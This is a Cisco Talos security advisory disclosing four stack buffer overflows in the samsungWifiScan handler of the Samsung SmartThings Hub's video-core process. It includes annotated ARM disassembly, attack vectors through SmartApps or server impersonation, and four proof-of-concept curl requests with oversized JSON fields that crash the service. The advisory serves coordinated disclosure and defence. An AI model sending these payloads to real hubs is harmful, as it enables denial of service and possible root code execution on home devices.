Talos Vulnerability Report

TALOS-2018-0548

Samsung SmartThings Hub video-core samsungWifiScan Code Execution Vulnerability

July 26, 2018
CVE Number

CVE-2018-3863, CVE-2018-3864, CVE-2018-3865, CVE-2018-3866

Summary

Multiple exploitable buffer overflow vulnerabilities exist in the samsungWifiScan handler of video-core's HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allow for a secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. Function sub_46078 is called when requesting the path "/samsungWifiScan" using the POST method:

.text:00046078     sub_46078
.text:00046078
.text:00046078 000        STMFD           SP!, {R4,R5,R11,LR}
.text:0004607C 010        MOV             R4, R3
.text:00046080 010        ADD             R3, R3, #8
.text:00046084 010        ADD             R11, SP, #0xC
.text:00046088 010        BIC             R3, R3, #7
.text:0004608C 010        SUB             SP, SP, #0x210
.text:00046090 220        SUB             SP, SP, R3
.text:00046094 220        ADD             R3, SP, #0x21C+dest
.text:00046098 220        MOV             R1, R2
.text:0004609C 220        MOV             R0, R3
.text:000460A0 220        MOV             R2, R4
.text:000460A4 220        BL              memcpy
.text:000460A8 220        MOV             R2, #0
.text:000460AC 220        MOV             R3, R0
.text:000460B0 220        STRB            R2, [R3,R4]
.text:000460B4 220        BL              json_tokener_parse  ; [1]
.text:000460B8 220        SUBS            R4, R0, #0
.text:000460BC 220        BEQ             loc_46130
.text:000460C0 220        SUB             R0, R11, #-attr
.text:000460C4 220        BL              pthread_attr_init
.text:000460C8 220        MOV             R1, #1
.text:000460CC 220        SUB             R0, R11, #-attr
.text:000460D0 220        BL              pthread_attr_setdetachstate
.text:000460D4 220        MOV             R2, #:lower16:sub_45BEC
.text:000460D8 220        SUB             R1, R11, #-attr
.text:000460DC 220        MOVT            R2, #:upper16:sub_45BEC ; [2]
.text:000460E0 220        SUB             R0, R11, #-dest
.text:000460E4 220        MOV             R3, R4                  ; [3]
.text:000460E8 220        BL              pthread_create

Note that the binary embeds the "json-c" library from https://github.com/json-c/json-c that is used to manage JSON objects. As we can see, json_tokener_parse [1] parses the POST data and returns a JSON object. Finally, a thread is created for executing the function sub_45BEC [2], passing the JSON object as parameter [3].

.text:00045BEC     sub_45BEC
.text:00045BEC
.text:00045BEC 000        MOV             R3, #:lower16:aAdmin
.text:00045BF0 000        STMFD           SP!, {R4-R8,LR}
.text:00045BF4 018        MOVT            R3, #:upper16:aAdmin
.text:00045BF8 018        MOV             R6, R0               ; [4] JSON object
.text:00045BFC 018        SUB             SP, SP, #0x420
.text:00045C00 438        MOV             R4, #0
.text:00045C04 438        LDMIA           R3, {R0,R1} ; "admin"
.text:00045C08 438        MOV             R2, #0x22 ; n
.text:00045C0C 438        STR             R0, [SP,#0x438+var_428]
.text:00045C10 438        ADD             R0, SP, #0x438+s
.text:00045C14 438        STRH            R1, [SP,#0x438+var_424]
.text:00045C18 438        MOV             R1, R4  ; c
.text:00045C1C 438        BL              memset
...
.text:00045CA0 438        STR             R6, [SP,#0x438+var_438] ; [4] JSON object
.text:00045CA4 438        ADD             R1, SP, #0x438+var_400  ; password
.text:00045CA8 438        STR             R0, [SP,#0x438+var_430]
.text:00045CAC 438        ADD             R2, SP, #0x438+var_3D8  ; cameraIp
.text:00045CB0 438        ADD             R0, SP, #0x438+var_428  ; user
.text:00045CB4 438        ADD             R3, SP, #0x438+var_3B0  ; callbackUrl
.text:00045CB8 438        STR             R4, [SP,#0x438+var_42C]
.text:00045CBC 438        BL              sub_45948

Right after initializing its local variables, the function calls sub_45948 in order to extract the parameters from the POST request. The first four parameters passed to sub_45948 are buffers on the local function stack, in order: user, password, cameraIp, callbackUrl. The last argument is the reference to the JSON object [4].

.text:00045948     sub_45948
.text:00045948
.text:00045948     var_208         = -0x208
.text:00045948     var_204         = -0x204
.text:00045948     var_1FC         = -0x1FC
.text:00045948     var_1F8         = -0x1F8
.text:00045948     arg_0           =  0
.text:00045948
.text:00045948 000        STMFD           SP!, {R4-R7,LR}
.text:0004594C 014        MOV             R6, R1
.text:00045950 014        SUB             SP, SP, #0x1F4
.text:00045954 208        MOV             R1, #:lower16:aCameraip ; "cameraIp"
.text:00045958 208        MOV             R7, R0
.text:0004595C 208        MOV             R4, R2
.text:00045960 208        LDR             R0, [SP,#0x208+arg_0]
.text:00045964 208        ADD             R2, SP, #0x208+var_1FC
.text:00045968 208        MOVT            R1, #:upper16:aCameraip ; "cameraIp"
.text:0004596C 208        MOV             R5, R3
.text:00045970 208        BL              json_object_object_get_ex
.text:00045974 208        CMP             R0, #0
.text:00045978 208        BNE             loc_4599C
.text:0004597C 208        MOV             R3, #dword_D90CC
.text:00045984 208        LDR             R3, [R3]
.text:00045988 208        CMP             R3, #0
.text:0004598C 208        MOVEQ           R0, #0x22
.text:00045990 208        BNE             loc_45A24
.text:00045994
.text:00045994     loc_45994
.text:00045994 208        ADD             SP, SP, #0x1F4
.text:00045998 014        LDMFD           SP!, {R4-R7,PC}
.text:0004599C
.text:0004599C     loc_4599C
.text:0004599C 208        LDR             R0, [SP,#0x208+var_1FC]
.text:000459A0 208        BL              json_object_to_json_string
.text:000459A4 208        MOV             R1, R0
.text:000459A8 208        MOV             R0, R4
.text:000459AC 208        BL              strcpy ; [7]
.text:000459B0 208        MOV             R1, #:lower16:aUser ; "user"
.text:000459B4 208        LDR             R0, [SP,#0x208+arg_0]
.text:000459B8 208        ADD             R2, SP, #0x208+var_1FC
.text:000459BC 208        MOVT            R1, #:upper16:aUser ; "user"
.text:000459C0 208        BL              json_object_object_get_ex
.text:000459C4 208        CMP             R0, #1
.text:000459C8 208        BEQ             loc_45A90
.text:000459CC
.text:000459CC     loc_459CC
.text:000459CC 208        MOV             R1, #:lower16:aPassword ; "password"
.text:000459D0 208        LDR             R0, [SP,#0x208+arg_0]
.text:000459D4 208        MOVT            R1, #:upper16:aPassword ; "password"
.text:000459D8 208        ADD             R2, SP, #0x208+var_1FC
.text:000459DC 208        BL              json_object_object_get_ex
.text:000459E0 208        CMP             R0, #1
.text:000459E4 208        BEQ             loc_45A78
.text:000459E8
.text:000459E8     loc_459E8
.text:000459E8 208        MOV             R1, #:lower16:aCallbackurl ; "callbackUrl"
.text:000459EC 208        ADD             R2, SP, #0x208+var_1FC
.text:000459F0 208        MOVT            R1, #:upper16:aCallbackurl ; "callbackUrl"
.text:000459F4 208        LDR             R0, [SP,#0x208+arg_0]
.text:000459F8 208        BL              json_object_object_get_ex
.text:000459FC 208        CMP             R0, #1
.text:00045A00 208        MOVNE           R0, #0
.text:00045A04 208        BNE             loc_45994
.text:00045A08 208        LDR             R0, [SP,#0x208+var_1FC]
.text:00045A0C 208        BL              json_object_to_json_string
.text:00045A10 208        MOV             R1, R0
.text:00045A14 208        MOV             R0, R5
.text:00045A18 208        BL              strcpy ; [8]
.text:00045A1C 208        MOV             R0, #0
.text:00045A20 208        B               loc_45994
...
.text:00045A78     loc_45A78
.text:00045A78 208        LDR             R0, [SP,#0x208+var_1FC]
.text:00045A7C 208        BL              json_object_to_json_string
.text:00045A80 208        MOV             R1, R0
.text:00045A84 208        MOV             R0, R6
.text:00045A88 208        BL              strcpy ; [6]
.text:00045A8C 208        B               loc_459E8
.text:00045A90
.text:00045A90     loc_45A90
.text:00045A90 208        LDR             R0, [SP,#0x208+var_1FC]
.text:00045A94 208        BL              json_object_to_json_string
.text:00045A98 208        MOV             R1, R0
.text:00045A9C 208        MOV             R0, R7
.text:00045AA0 208        BL              strcpy ; [5]
.text:00045AA4 208        B               loc_459CC

This function is supposed to extract each JSON parameter and fill the four buffers passed as argument. At high level, this is how each parameter is extracted:

json_object_object_get_ex(json_object, key, &value);
strcpy(buffer, json_object_to_json_string(value));

Where:

- `key` is one of "user", "password", "cameraIp" or "callbackUrl".
- `value` is of type `struct json_object *`.
- `buffer` is one of the first four arguments of the function, a buffer on the stack where the resulting string will be stored.

As we can see, the length of the value of each JSON field is not taken into account when copying to the buffer on the stack, which can be exploited to execute arbitrary code. We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore, that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we didn't test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

The following is a list of each vulnerability and its proof of concept. Each proof of concept uses the placeholder "OVERFLOW" to highlight the vulnerable parameter, which can be replaced with "A"*0x700 to make the device crash. A key with value "x" means that its value is irrelevant, but the key still needs to be present.

CVE-2018-3863 - "user" key

The strcpy at [5] overflows the destination buffer, which has a size of 40 bytes. An attacker can send an arbitrarily long "user" value in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","user":"{OVERFLOW}"}'

CVE-2018-3864 - "password" key

The strcpy at [6] overflows the destination buffer, which has a size of 40 bytes. An attacker can send an arbitrarily long "password" value in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","password":"{OVERFLOW}"}'

CVE-2018-3865 - "cameraIp" key

The strcpy at [7] overflows the destination buffer, which has a size of 40 bytes. An attacker can send an arbitrarily long "cameraIp" value in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"{OVERFLOW}"}'

CVE-2018-3866 - "callbackUrl" key

The strcpy at [8] overflows the destination buffer, which has a size of 40 bytes. An attacker can send an arbitrarily long "callbackUrl" value in order to exploit this vulnerability:

curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","callbackUrl":"{OVERFLOW}"}'

Timeline

2018-03-28 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.